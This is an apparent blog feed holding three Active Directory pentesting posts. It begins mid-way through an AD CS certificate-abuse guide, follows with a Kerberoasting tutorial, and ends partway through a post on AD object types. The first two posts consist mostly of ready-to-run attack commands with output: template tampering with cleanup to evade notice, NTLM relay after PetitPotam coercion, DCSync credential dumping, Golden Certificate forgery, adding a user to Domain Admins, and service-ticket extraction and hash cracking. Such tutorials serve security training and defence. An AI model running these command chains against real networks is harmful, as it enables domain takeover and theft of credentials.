&#39;Password123!&#39; \<br>  -dc-ip 10.10.10.10 \<br>  -template &#39;TargetTemplate&#39; \<br>  -save-old              # Saves original to TargetTemplate.json before modifying<br><br># Step 2: Exploit the now-vulnerable template exactly like ESC1<br>certipy req \<br>  -u &#39;jsmith@corp.local&#39; \<br>  -p &#39;Password123!&#39; \<br>  -dc-ip 10.10.10.10 \<br>  -target 10.10.10.20 \<br>  -ca &#39;CORP-CA&#39; \<br>  -template &#39;TargetTemplate&#39; \<br>  -upn &#39;administrator@corp.local&#39;<br><br># Step 3: Restore the original template so the change isn&#39;t noticed<br>certipy template \<br>  -u &#39;jsmith@corp.local&#39; \<br>  -p &#39;Password123!&#39; \<br>  -dc-ip 10.10.10.10 \<br>  -template &#39;TargetTemplate&#39; \<br>  -configuration TargetTemplate.json<br><br># Step 4: Authenticate<br>certipy auth -pfx &#39;administrator.pfx&#39; -dc-ip 10.10.10.10</pre><p>This is one of the cleaner attack patterns because the evidence largely disappears after step 3. Template ACL misconfigurations are almost never audited, and LDAP writes to template objects don’t generate the kind of alerts that certificate requests do. BloodHound with the ADCS extension will show WriteProperty or WriteDACL edges pointing at certificate template nodes look for those paths from user-controlled principals.</p><h3>ESC5 - PKI Object Access Control Misconfigurations</h3><p>ESC5 is the broadest of the privilege escalation categories. Where ESC4 is about write access on individual templates, ESC5 covers dangerous permissions on the PKI infrastructure objects themselves, the objects that the entire certificate ecosystem depends on.</p><p>The objects in scope for ESC5 include the CA’s computer object in AD, the NTAuthCertificates object, the Enrollment Services container, the Public Key Services container, and the Certificate Templates container in the configuration partition. An attacker with elevated privileges on these objects such as WriteDACL, WriteOwner, WriteProperty, or FullControl, can interfere with several strategic elements of the PKI infrastructure. For example, it is possible to modify the contents of the NTAuthCertificates object, which determines which CAs are authorized to issue certificates used for Kerberos authentication. By injecting a certificate from a CA controlled by the attacker into this object, the attacker can produce certificates that are accepted as valid by the entire domain.</p><p>ESC5 often emerges from local admin access on the ADCS server, misconfigured delegation, or overly broad permissions inherited from parent containers in AD. The specific exploitation path depends on exactly which object you have rights over, but the general principle is that any write access to PKI infrastructure objects can be leveraged to manipulate the trust model at a fundamental level.</p><h3>ESC6 - The EDITF_ATTRIBUTESUBJECTALTNAME2 Flag</h3><p>ESC6 is ESC1 applied globally. To understand it, recall that ESC1 required a specific template to have the “Supply in Request” flag enabled. ESC6 exists when the CA itself is configured with EDITF_ATTRIBUTESUBJECTALTNAME2 , a flag that tells the CA to accept user-supplied SANs in <em>any certificate request</em>, regardless of whether the template allows it or not.</p><p>When the EDITF_ATTRIBUTESUBJECTALTNAME2 flag is set on a CA, it allows any certificate request to include a SAN, even if the template doesn&#39;t allow it. This essentially turns every template into a vulnerable ESC1 template. Even the default User template, which is considered safe, becomes a path to impersonation under this configuration. <a href="https://fixmycert.com/adcs/security">FixMyCert</a></p><p>This flag is sometimes set intentionally by administrators who ran into issues with SAN-related certificate requests and took the path of least resistance. It’s also sometimes a leftover from a legacy configuration that nobody cleaned up. Either way, Certipy will catch it:</p><pre>[!] Vulnerabilities<br>  ESC6    : CA has flag EDITF_ATTRIBUTESUBJECTALTNAME2 set.<br>             This allows anyone to specify a SAN in a certificate request.</pre><p>Exploitation is straightforward, no special template needed, just any template with Client Authentication EKU:</p><pre># The standard User template becomes an ESC1 attack because of the CA-level flag<br>certipy req \<br>  -u &#39;jsmith@corp.local&#39; \<br>  -p &#39;Password123!&#39; \<br>  -dc-ip 10.10.10.10 \<br>  -target 10.10.10.20 \<br>  -ca &#39;CORP-CA&#39; \<br>  -template &#39;User&#39; \<br>  -upn &#39;administrator@corp.local&#39;<br><br>certipy auth -pfx &#39;administrator.pfx&#39; -dc-ip 10.10.10.10</pre><p>To check for it manually on the CA:</p><pre>certutil -config &quot;dc01.corp.local\CORP-CA&quot; -getreg policy\EditFlags</pre><p>To remediate (run on the CA server, requires a service restart):</p><pre>certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2<br>net stop certsvc &amp;&amp; net start certsvc</pre><h3>ESC7 - ManageCA and Manage Certificates Permissions</h3><p>ESC7 moves away from template misconfigurations entirely and targets the CA object itself. The CA has its own permission model with two particularly dangerous rights: <strong>ManageCA</strong> (which lets you modify CA-level configuration) and <strong>Manage Certificates</strong> (which lets you approve or deny pending certificate requests). When a low-privileged user holds either of these, they have enough leverage to compromise the entire certificate infrastructure.</p><p>The exploitation technique here is elegant. There is a built-in template called SubCA that ships with ADCS. It&#39;s actually a perfect ESC1 candidate. It has a Client Authentication EKU and allows user-supplied SANs. The only reason it can&#39;t be exploited by default is that only domain admins can enroll on it. But if you have ManageCA rights, you can grant yourself the Manage Certificates permission. And with Manage Certificates, you can approve failed certificate requests, including your own failed request to enroll on SubCA.</p><p>The SubCA template is enabled by default, has Client Authentication EKUs, and supports SAN, which would make it a perfect ESC1 candidate except only administrators can enroll. However, any user with ManageCA rights can grant themselves the Manage Certificates permission, an access right giving the ability to approve pending and failed certificate requests. With this, an attacker can submit a certificate signing request for SubCA, which gets denied due to lack of enrollment permissions, then manually approve their own denied request.</p><pre># Step 1: Add yourself as a CA officer (requires ManageCA on the CA object)<br>certipy ca \<br>  -u &#39;jsmith@corp.local&#39; \<br>  -p &#39;Password123!&#39; \<br>  -dc-ip 10.10.10.10 \<br>  -ca &#39;CORP-CA&#39; \<br>  -add-officer &#39;jsmith&#39;<br><br># Step 2: Request a SubCA cert — this WILL fail (you don&#39;t have enrollment rights)<br># But note the Request ID in the error output<br>certipy req \<br>  -u &#39;jsmith@corp.local&#39; \<br>  -p &#39;Password123!&#39; \<br>  -target 10.10.10.20 \<br>  -ca &#39;CORP-CA&#39; \<br>  -template &#39;SubCA&#39; \<br>  -upn &#39;administrator@corp.local&#39;<br><br># [!] Got error: CERTSRV_E_TEMPLATE_DENIED<br># [*] Request ID: 42    &lt;-- You need this<br><br># Step 3: Approve your own denied request (you can do this now because you&#39;re a CA officer)<br>certipy ca \<br>  -u &#39;jsmith@corp.local&#39; \<br>  -p &#39;Password123!&#39; \<br>  -dc-ip 10.10.10.10 \<br>  -ca &#39;CORP-CA&#39; \<br>  -issue-request 42<br><br># Step 4: Retrieve the now-approved certificate<br>certipy req \<br>  -u &#39;jsmith@corp.local&#39; \<br>  -p &#39;Password123!&#39; \<br>  -target 10.10.10.20 \<br>  -ca &#39;CORP-CA&#39; \<br>  -retrieve 42<br><br># Step 5: Authenticate<br>certipy auth -pfx &#39;administrator.pfx&#39; -dc-ip 10.10.10.10</pre><p>The reason this attack is so clean is that you’re abusing legitimate functionality the whole way through. You’re using a built-in template, going through the normal request process, and using official CA management features to approve your own request. There’s nothing obviously malicious in the certificate request logs unless you’re specifically correlating the requesting user’s privilege level against the template being used.</p><h3>ESC8 - NTLM Relay to the HTTP Certificate Enrollment Endpoint</h3><p>ESC8 is a fundamentally different kind of attack. It doesn’t rely on a misconfigured template, and it doesn’t require any particular permissions in AD. What it requires is a network position and the ADCS web enrollment service running over HTTP without relay mitigations.</p><p>ADCS optionally installs a web enrollment interface, reachable at http://&lt;CA&gt;/certsrv/. This interface lets users request certificates through a browser. The problem is that it authenticates via NTLM, and if it isn&#39;t enforcing Extended Protection for Authentication (EPA) or requiring HTTPS, that NTLM authentication is relayable, meaning an attacker can intercept another machine&#39;s NTLM authentication and forward it to the web enrollment endpoint, impersonating that machine and receiving a certificate issued in its name.</p><p>The specific target is usually a Domain Controller. If you can coerce the DC into authenticating to you (using tools like PetitPotam or the PrinterBug) and then relay that authentication to the CA web enrollment, you get a certificate for the DC’s machine account. A DC machine account certificate lets you request a TGT as that DC, and a TGT as a DC lets you perform a DCSync, dumping every credential hash in the domain.</p><p>Within the past year, penetration testers have exploited ESC8 on multiple engagements, resulting in Domain Admin and full environment compromise. This vulnerability typically evades detection by standard vulnerability scanners, and it cannot be fixed via a vendor-pushed patch prevention requires proper ADCS configuration</p><pre># Terminal 1: Start Certipy in relay mode, listening for inbound NTLM<br>certipy relay \<br>  -target &#39;http://ca.corp.local&#39; \<br>  -template &#39;DomainController&#39;<br><br># Terminal 2: Coerce the Domain Controller into authenticating to your attacker machine<br># PetitPotam — exploits the EFS API to trigger NTLM authentication from the DC<br>python3 PetitPotam.py \<br>  -u &#39;jsmith&#39; \<br>  -p &#39;Password123!&#39; \<br>  &lt;attacker-ip&gt; \<br>  dc01.corp.local<br><br># Certipy relay output (back in Terminal 1):<br># [*] Attacking user &#39;DC01$@CORP.LOCAL&#39;<br># [*] Requesting certificate via HTTP<br># [+] Got certificate with UPN: DC01$@corp.local<br># [*] Saved certificate and private key to &#39;dc01.pfx&#39;<br><br># Authenticate as the Domain Controller machine account<br>certipy auth \<br>  -pfx &#39;dc01.pfx&#39; \<br>  -username &#39;DC01$&#39; \<br>  -domain &#39;corp.local&#39; \<br>  -dc-ip 10.10.10.10<br><br># DCSync using the DC machine account hash<br>impacket-secretsdump &#39;corp.local/DC01$@10.10.10.10&#39; \<br>  -hashes &#39;:$DC_MACHINE_HASH&#39;</pre><p>If you’re running into issues with Certipy’s relay and the enrollment endpoint is on HTTPS rather than HTTP, ntlmrelayx from Impacket also handles this:</p><pre># Alternative using Impacket&#39;s ntlmrelayx<br>python3 ntlmrelayx.py \<br>  -t &#39;http://ca.corp.local/certsrv/certfnsh.asp&#39; \<br>  -smb2support \<br>  --adcs \<br>  --template DomainController</pre><p>The prerequisite check is simple:</p><pre># Check if the web enrollment interface is up<br>curl -I http://ca.corp.local/certsrv/<br># If you get a 200 or 401, the service is running</pre><h3>ESC11 - NTLM Relay to the RPC Enrollment Interface</h3><p>ESC11 is the same attack as ESC8, just targeting a different protocol. ADCS also supports certificate enrollment over <strong>RPC</strong> (specifically the ICertPassage protocol). By default, the RPC enrollment interface requires packet privacy, which means the traffic is encrypted and can’t be relayed. The problem is that this requirement is frequently disabled to support older clients that can’t negotiate the required encryption level.</p><p>The IF_ENFORCEENCRYPTICERTREQUEST flag is on by default but is often turned off to allow clients that can&#39;t support the required RPC authentication level, such as clients running Windows XP. When it&#39;s off, RPC NTLM authentication becomes relayable.</p><pre># Certipy automatically detects this during enumeration<br>certipy find -u &#39;jsmith@corp.local&#39; -p &#39;Password123!&#39; -dc-ip 10.10.10.10 -stdout<br><br># Output will include:<br># [!] Vulnerabilities<br>#   ESC11   : Encryption is not enforced for ICPR requests and<br>#             Request Disposition is set to Issue<br><br># Relay to RPC instead of HTTP<br>certipy relay \<br>  -target &#39;rpc://dc01.corp.local&#39; \<br>  -ca &#39;CORP-CA&#39; \<br>  -dc-ip 10.10.10.10</pre><h3>ESC15 - Arbitrary Application Policy Injection (CVE-2024–49019)</h3><p>ESC15, also known as EKUwu, was disclosed by Justin Bollinger from TrustedSec in late 2024 and patched by Microsoft in November 2024 as CVE-2024–49019. It’s worth understanding because a large number of environments still haven’t applied the patch.</p><p>The issue lies in how ADCS handles <strong>Version 1</strong> certificate templates. When both an EKU and an <strong>Application Policy</strong> are present in a certificate request, the Application Policy takes precedence over the EKU. Version 1 templates, which include several built-in defaults like WebServerdon&#39;t validate the Application Policy field in requests. This means an attacker with enrollment rights on any Version 1 template can embed an arbitrary Application Policy in their certificate request, effectively injecting a Client Authentication or Certificate Request Agent OID into a cert that was never supposed to have those capabilities.</p><p>ESC15 allows threat actors to inject arbitrary application policies into certificates based on V1 schema templates. This technique is usually combined with a threat actor-specified SAN and used to inject EKUs associated with ESC1–3.</p><pre># Check if any V1 templates are enrollable<br>certipy find -u &#39;jsmith@corp.local&#39; -p &#39;Password123!&#39; -dc-ip 10.10.10.10 -vulnerable -stdout<br><br># Exploit using Certipy with application policy injection<br>certipy req \<br>  -u &#39;jsmith@corp.local&#39; \<br>  -p &#39;Password123!&#39; \<br>  -dc-ip 10.10.10.10 \<br>  -target 10.10.10.20 \<br>  -ca &#39;CORP-CA&#39; \<br>  -template &#39;WebServer&#39; \<br>  -application-policies &#39;Client Authentication&#39; \<br>  -upn &#39;administrator@corp.local&#39;</pre><p>Remediation is straightforward: apply the November 2024 patch. For environments that can’t patch immediately, restricting enrollment rights on Version 1 templates to only the users who legitimately need them reduces the attack surface significantly.</p><h3>Post-Exploitation: What You Do With the Certificate</h3><p>Once you’ve obtained a certificate through any of the above paths, there are a few directions you can take it.</p><h4>PKINIT - Certificate-based Kerberos Authentication</h4><p>The primary path. You present the certificate to the DC and receive a TGT and NTLM hash:</p><pre>certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10<br><br># Use the TGT directly<br>export KRB5CCNAME=administrator.ccache<br>impacket-psexec -k -no-pass corp.local/administrator@dc01.corp.local</pre><h4><strong>PassTheCert - When PKINIT Isn’t Available</strong></h4><p>If Kerberos is blocked or PKINIT isn’t supported, you can authenticate directly to LDAPS using the certificate itself:</p><pre># Add yourself to Domain Admins via LDAPS using the certificate<br>python3 passthecert.py \<br>  -crt administrator.crt \<br>  -key administrator.key \<br>  -domain corp.local \<br>  -dc-ip 10.10.10.10 \<br>  -action add_user_to_group \<br>  -user jsmith \<br>  -group &#39;Domain Admins&#39;</pre><h4><strong>Golden Certificate - Persistence Through CA Key Compromise</strong></h4><p>If you’ve compromised the CA itself (via ESC5, local admin on the CA server, or backup abuse), you can extract the CA’s private key and use it to forge certificates indefinitely offline, no interaction with the CA required:</p><pre># Dump the CA private key and certificate<br>certipy ca \<br>  -backup \<br>  -u &#39;administrator@corp.local&#39; \<br>  -hashes &#39;:31d6cfe0d16ae931b73c59d7e0c089c0&#39; \<br>  -ca &#39;CORP-CA&#39;<br><br># Forge a certificate for any user, with any validity period<br>certipy forge \<br>  -ca-pfx &#39;CORP-CA.pfx&#39; \<br>  -upn &#39;administrator@corp.local&#39; \<br>  -subject &#39;CN=Administrator,CN=Users,DC=corp,DC=local&#39;<br><br># Authenticate with the forged certificate<br>certipy auth -pfx &#39;administrator_forged.pfx&#39; -dc-ip 10.10.10.10</pre><p>A Golden Certificate persists until the CA’s key pair itself is rotated, something most organizations never do. It survives password resets, account disables, and even domain controller rebuilds, as long as the CA and its trust chain remain intact.</p><h3>References</h3><ul><li>SpecterOps Certified Pre-Owned (original whitepaper): <a href="https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf">https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf</a></li><li>Certipy by Oliver Lyak (ly4k): <a href="https://github.com/ly4k/Certipy">https://github.com/ly4k/Certipy</a></li><li>Certipy Wiki Privilege Escalation (ESC1–ESC16): <a href="https://github.com/ly4k/Certipy/wiki">https://github.com/ly4k/Certipy/wiki</a></li><li>HackTricks AD CS Domain Escalation: <a href="https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation">https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation</a></li><li>TrustedSec: <a href="https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc">https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc</a></li><li>Microsoft KB5014754 Certificate-based authentication changes: <a href="https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16">https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16</a></li><li>Black Hills Information Security: <a href="https://www.blackhillsinfosec.com/abusing-active-directory-certificate-services-part-one/">https://www.blackhillsinfosec.com/abusing-active-directory-certificate-services-part-one/</a></li><li>PetitPotam (CVE-2021–36942): <a href="https://github.com/topotam/PetitPotam">https://github.com/topotam/PetitPotam</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4b1ecb75c54b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kerberoasting]]></title>
            <link>https://medium.com/@3xploit/kerberoasting-a288f7d9ca6a?source=rss-cfc74b8f6883------2</link>
            <guid isPermaLink="false">https://medium.com/p/a288f7d9ca6a</guid>
            <dc:creator><![CDATA[Victor Abiodun ]]></dc:creator>
            <pubDate>Mon, 27 Apr 2026 14:46:44 GMT</pubDate>
            <atom:updated>2026-04-27T14:50:58.281Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ghiqb5qJjLBCv-dPTpJZMg.png" /></figure><h3>What is Kerberoasting?</h3><p>Kerberoasting is an attack against the Kerberos authentication protocol that allows any authenticated domain user (even the most low-privileged account) to obtain password hashes for service accounts and crack them offline.</p><p>No special privileges. No noisy exploits. Just legitimate Kerberos requests and a GPU.</p><p>It was first presented publicly by Tim Medin at DerbyCon 2014, and over a decade later it’s still one of the most consistent privilege escalation paths in real-world AD environments. It works because of two design decisions baked into Kerberos:</p><ol><li>Any authenticated domain user can request a Service Ticket for any registered service</li><li>That Service Ticket is encrypted using the service account’s password hash</li></ol><p>If the service account has a weak password, you can crack the ticket offline and own the account.</p><h3>How Kerberos Service Tickets Work</h3><p>When a user wants to access a service, for example, a SQL server, here’s what happens under the hood:</p><pre>[Client] ──── AS-REQ ────────────────────► [KDC / Domain Controller]<br>         ◄─── AS-REP (TGT) ───────────────<br>         <br>         ──── TGS-REQ (presents TGT) ────► [KDC]<br>              &quot;Give me a ticket for       <br>               MSSQLSvc/sqlserver.corp.local&quot;<br>         ◄─── TGS-REP ───────────────────<br>              (Service Ticket encrypted <br>               with SQL service account&#39;s <br>               NTLM hash)<br>               <br>         ──── AP-REQ (presents ST) ──────► [SQL Server]<br>         ◄─── Access granted ─────────────</pre><p>The KDC encrypts the Service Ticket using the NTLM hash of the service account that registered the SPN. The client doesn’t need to decrypt it, it just passes it to the service. But an attacker can take that encrypted ticket, take it offline, and try to crack the password.</p><p>Every service that supports Kerberos authentication registers itself with AD via a Service Principal Name (SPN). Format looks like this:</p><pre>MSSQLSvc/sqlserver.corp.local:1433<br>HTTP/webapp.corp.local<br>exchangeMDB/exchange01.corp.local</pre><p>Any authenticated user can query AD for all registered SPNs:</p><pre>setspn -Q */*</pre><p>Every result is a potential Kerberoasting target.</p><h3>Step 1: Finding Kerberoastable Accounts</h3><p>You can find kerberoastable accounts using different methods.</p><h4>a.) Using PowerView</h4><p>For this, you need to already have a shell on the target machine</p><pre># Import Powerview <br>&gt; Import-Module .\PowerView.ps1<br><br># Find all accounts with SPNs registered<br>&gt; Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname, description, pwdlastset<br><br># Output<br>samaccountname      serviceprincipalname                          description          pwdlastset<br>--------------      --------------------                          -----------          ----------<br>svc_sql             MSSQLSvc/sqlserver01.corp.local:1433          SQL Service Account  01/14/2019<br>svc_iis             HTTP/webapp.corp.local                        IIS App Pool Acct    03/22/2020<br>svc_backup          BackupExec/backup01.corp.local                Backup Exec Svc      11/05/2018<br>svc_exchange        exchangeMDB/exch01.corp.local                 Exchange Service     06/30/2017<br>krbtgt              kadmin/changepw                               Key Distribution..   01/01/2023</pre><p>Notice svc_backup and svc_exchange, their password last set in 2018 and 2017 respectively. Service accounts that haven’t had their passwords rotated in years are prime targets. Old password gives a higher chance of something weak and crackable.</p><p>Also notice the description field. Always read it. In real engagements you also tend to find things like:</p><pre>description: Default password: Corp2019! - change after setup</pre><h4>b.) Using BloodHound</h4><p>BloodHound is a powerful open-source tool that uses graph theory to map hidden relationships and attack paths in Active Directory (AD) environments, commonly used to identify privilege escalation paths. It highlights attack paths to Domain Admin from compromised users.</p><p>BloodHound also marks Kerberoastable accounts with a specific node property. Run this in the search bar:</p><pre>MATCH (u:User {hasspn:true}) RETURN u</pre><p>This gives you every Kerberoastable account on the map, with all their group memberships and attack paths visualized.</p><h3>Step 2: Requesting the Service Tickets</h3><p>Now you request encrypted Service Tickets for your targets. You’re making a completely legitimate Kerberos request. Nothing about this step is inherently malicious from Active Directory’s perspective.</p><h4>a.) Using Rubeus (Windows, from a domain-joined machine)</h4><pre>C:\Tools&gt; Rubeus.exe kerberoast /output:hashes.txt<br><br>   ______        _<br>  (_____ \      | |<br>   _____) )_   _| |__  _____ _   _  ___<br>  |  __  /| | | |  _ \| ___ | | | |/___)<br>  | |  \ \| |_| | |_) ) ____| |_| |___ |<br>  |_|   |_|____/|____/|_____)____/(___/<br><br>  v2.2.0<br><br>[*] Action: Kerberoasting<br><br>[*] NOTICE: AES hashes will be returned for AES-enabled accounts.<br>[*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.<br><br>[*] Searching the current domain for Kerberoastable users<br><br>[*] Total kerberoastable users : 4<br><br>[*] SamAccountName         : svc_sql<br>[*] DistinguishedName      : CN=svc_sql,OU=Service Accounts,DC=corp,DC=local<br>[*] ServicePrincipalName   : MSSQLSvc/sqlserver01.corp.local:1433<br>[*] PwdLastSet             : 1/14/2019 9:22:04 AM<br>[*] Supported ETypes       : RC4_HMAC_DEFAULT<br>[*] Hash                   : $krb5tgs$23$*svc_sql$corp.local$MSSQLSvc/sqlserver01.corp.local:1433*<br>                             $8F3A2B1C4D9E6F0A7B5C8D2E1F4A9B3C$<br>                             6E2A1B4C8D9F3E7A2B5C1D8E4F9A3B7C6D1E8F4A9B2C5D7E3F1A8B4C9D2E6F<br>                             3A7B1C5D8E2F9A4B6C3D1E7F5A9B2C8D4E6F1A3B7C9D2E5F8A4B1C6D3E9F2A<br><br>[*] SamAccountName         : svc_backup<br>[*] DistinguishedName      : CN=svc_backup,OU=Service Accounts,DC=corp,DC=local<br>[*] ServicePrincipalName   : BackupExec/backup01.corp.local<br>[*] PwdLastSet             : 11/5/2018 2:14:33 PM<br>[*] Supported ETypes       : RC4_HMAC_DEFAULT<br>[*] Hash                   : $krb5tgs$23$*svc_backup$corp.local$BackupExec/backup01.corp.local*<br>                             $1C4D8E2F9A5B7C3D6E1F8A4B2C9D5E3F$<br>                             7A3B9C1D5E8F2A6B4C7D3E1F9A5B8C2D6E4F1A7B3C9D5E2F8A4B6C1D3E7F9A</pre><h4>b.) Using Impacket (Linux / from outside the domain)</h4><pre>&gt; impacket-GetUserSPNs corp.local/jsmith:Password123 -dc-ip 192.168.1.10 -request -outputfile kerberoast_hashes.txt<br><br>Impacket v0.11.0 - Copyright 2023 Fortra<br><br>ServicePrincipalName                      Name        MemberOf                                      PasswordLastSet             LastLogon<br>----------------------------------------  ----------  --------------------------------------------  --------------------------  --------------------------<br>MSSQLSvc/sqlserver01.corp.local:1433      svc_sql     CN=Domain Admins,CN=Users,DC=corp,DC=local    2019-01-14 09:22:04.000000  2024-11-02 14:33:21.000000<br>BackupExec/backup01.corp.local            svc_backup                                                2018-11-05 14:14:33.000000  2024-10-28 08:12:44.000000<br>HTTP/webapp.corp.local                    svc_iis                                                   2020-03-22 11:05:17.000000  2024-11-04 16:44:02.000000<br><br>$krb5tgs$23$*svc_sql$CORP.LOCAL$corp.local/svc_sql*$a3f8c2d1e9b4a7f6$8c2d1e9b4a7f6c3a...<br>$krb5tgs$23$*svc_backup$CORP.LOCAL$corp.local/svc_backup*$b4e9c3d2f1a8b7e6$9d3e2f1a8b7e6d4b...<br>$krb5tgs$23$*svc_iis$CORP.LOCAL$corp.local/svc_iis*$c5f1d4e3a2b9c8f7$1e4f3a2b9c8f7e5c...</pre><h3>Step 3: Cracking the Hashes</h3><p>The hashes are RC4-encrypted (krb5tgs$23 ). The weaker encryption type, and the default for most service accounts in environments that haven’t been specifically hardened for AES.</p><p>Transfer your hash file to your machine and start cracking with your favorite cracking tool, either hashcat or john the ripper.</p><h4>Hashcat</h4><pre>&gt; hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt<br><br>hashcat (v6.2.6) starting...<br><br>OpenCL API (OpenCL 3.0 LINUX) - Platform #1 [Intel(R) Corporation]<br>* Device #1: NVIDIA RTX 3080, 10240/10240 MB<br><br>Dictionary cache hit:<br>* Filename..: /usr/share/wordlists/rockyou.txt<br>* Passwords.: 14344384<br><br>$krb5tgs$23$*svc_backup$CORP.LOCAL$corp.local/svc_backup*$b4e9c3d2f1a8b7e6...:Backup2018!<br><br>Session..........: hashcat<br>Status...........: Cracked<br>Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)<br>Time.Started.....: Mon Nov 04 09:14:22 2024<br>Time.Estimated...: Mon Nov 04 09:14:31 2024<br>Speed.#1.........: 1,842.3 MH/s<br>Recovered........: 1/3 (33.33%) Digests</pre><h3>Hashcat — Rules Attack (for more complex passwords)</h3><p>When rockyou fails, add rules:</p><pre>hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/OneRuleToRuleThemAll.rule<br><br>$krb5tgs$23$*svc_sql$CORP.LOCAL$corp.local/svc_sql*$a3f8c2d1e9b4a7f6...:Sql$erv1ce#2019<br><br>Status...........: Cracked<br>Recovered........: 2/3 (66.67%) Digests</pre><p>svc_sql : <strong>Sql$erv1ce#2019, </strong>meets complexity requirements, but predictable enough for a rules attack.</p><h3>Why This Works So Often in the Real World</h3><p>Kerberoasting succeeds consistently in real engagements for a few reasons:</p><p><strong>Service accounts are neglected:</strong> They’re created, assigned an SPN, given a password, and forgotten. Nobody is rotating that password every 90 days because it might “break the service”.</p><p><strong>Password policies don’t always apply to service accounts:</strong> Some environments have strong password policies for user accounts but have made exceptions for service accounts due to application compatibility. The result is weak passwords in high-privileged accounts.</p><p><strong>RC4 is still the default:</strong> Unless administrators have explicitly configured AES-only encryption for service accounts , the KDC will happily issue RC4-encrypted tickets, which are faster to crack.</p><p><strong>SPNs are public:</strong> Any domain user can enumerate them. There’s no audit log for SPN enumeration. You can do it all day without triggering a single alert in some environments.</p><p>Happy hacking</p><p>#Active Directory Pentesting</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a288f7d9ca6a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[AD Objects Explained]]></title>
            <link>https://medium.com/@3xploit/ad-objects-explained-d11cdafaf5a2?source=rss-cfc74b8f6883------2</link>
            <guid isPermaLink="false">https://medium.com/p/d11cdafaf5a2</guid>
            <dc:creator><![CDATA[Victor Abiodun ]]></dc:creator>
            <pubDate>Sun, 19 Apr 2026 17:53:54 GMT</pubDate>
            <atom:updated>2026-04-19T17:53:54.416Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*CEVZfU4Zb0ieWNkY4bLkUw@2x.jpeg" /></figure><p>Everything in AD is an Object</p><p>Active Directory is fundamentally a database of objects. Every user, every computer, every group, every policy , it’s all an object with a set of attributes attached to it.</p><p>As a pentester, you need to start thinking about these objects the way an attacker does (“what can I read, write, or abuse here?”).</p><p>Let’s go through each one.</p><h3>User Objects</h3><p>User accounts are the most common object in any AD environment. Every employee, every service, every automated process that needs to authenticate gets a user object.</p><h4>What’s stored in a user object</h4><p>When you query a user object via LDAP, you get a lot more than just a name and password. Key attributes include:</p><p><strong>sAMAccountName: </strong>the actual login name.</p><p><strong>userPrincipalName: </strong>usually the email format e.g jsmith@domain.local.</p><p><strong>memberof:</strong> every group a user belongs to.</p><p><strong>description: A </strong>free text field that sometimes gives information about a user . Sometimes, user passwords are found here.</p><p><strong>lastLogon: </strong>when the account last authenticated</p><p><strong>pwdLastSet</strong>: when the password was last changed</p><p><strong>userAccountControl</strong>: a bitmask that controls account behavior (enabled/disabled, password never expires, no preauthentication required, and more)</p><p><strong>servicePrincipalName</strong>: if set, this account is a service account and is Kerberoastable</p><h4>What pentesters look for in user objects</h4><p>Accounts with DONT_REQ_PREAUTH set in userAccountControl: these are AS-REP Roastable. Which means you can request an encrypted blob for these accounts without even knowing their password, then crack it offline.</p><p>Accounts with SPNs: Kerberoastable targets. Any authenticated domain user can request a Service Ticket for these accounts and attempt to crack the service account password offline.</p><p>Stale accounts: accounts that haven’t logged in for 90+ days. These often belong to ex-employees and are frequently still enabled. Easier targets because nobody is watching them for anomalous activity.</p><p>Descriptions containing credentials: this is more common than it should be. Admins set up a service account, put the password in the description for “documentation”, and forget about it. Always read descriptions.</p><p>Password never expires: service accounts configured this way often have weak, old passwords.</p><h3>Computer Objects</h3><p>Every machine joined to the domain gets a computer object. Workstations, servers, domain controllers , all of them.</p><h4>What’s stored in a computer object</h4><p><strong>dNSHostName</strong>: the full DNS name of the machine</p><p><strong>operatingSystem:</strong> the OS version</p><p><strong>operatingSystemVersion</strong>: build number</p><p><strong>lastLogonTimestamp</strong>: last time the machine authenticated to AD</p><p><strong>servicePrincipalName</strong>: computers have SPNs too</p><h4>What pentesters look for in computer objects</h4><p>Old operating systems: Windows 7, Server 2008, Server 2012. These are goldmines. Legacy systems rarely get patched, and they often support deprecated protocols like NTLMv1 and SMBv1.</p><p>Stale computer objects: machines that haven’t checked in for months. Sometimes these are decommissioned servers that were never properly removed from AD. Their credentials may still be cached somewhere.</p><p>Domain Controllers: you always want to know which machines are DCs. They hold the AD database and run the most privileged services in the environment. Identifying them early shapes your whole attack path.</p><h3>Group Objects</h3><p>Groups are how AD manages permissions at scale. Instead of assigning access to individual users, admins assign access to groups and add users to those groups.</p><p>There are two types you need to understand:</p><p>Security groups vs Distribution groups</p><p>Security groups can be assigned permissions to resources. These are the ones that matter offensively.</p><p>Distribution groups are just email lists. No security boundary.</p><h4>Group scope</h4><p>AD has three group scopes that determine where a group can be used and what it can contain:</p><p><strong>Domain Local:</strong> used within a single domain</p><p><strong>Global</strong>: can be used across domains but can only contain members from its own domain</p><p><strong>Universal</strong>: can contain members from any domain in the forest and be used anywhere. Common in multi-domain environments.</p><h4>What pentesters look for in groups</h4><p>Membership of privileged groups : always enumerate who’s in Domain Admins, 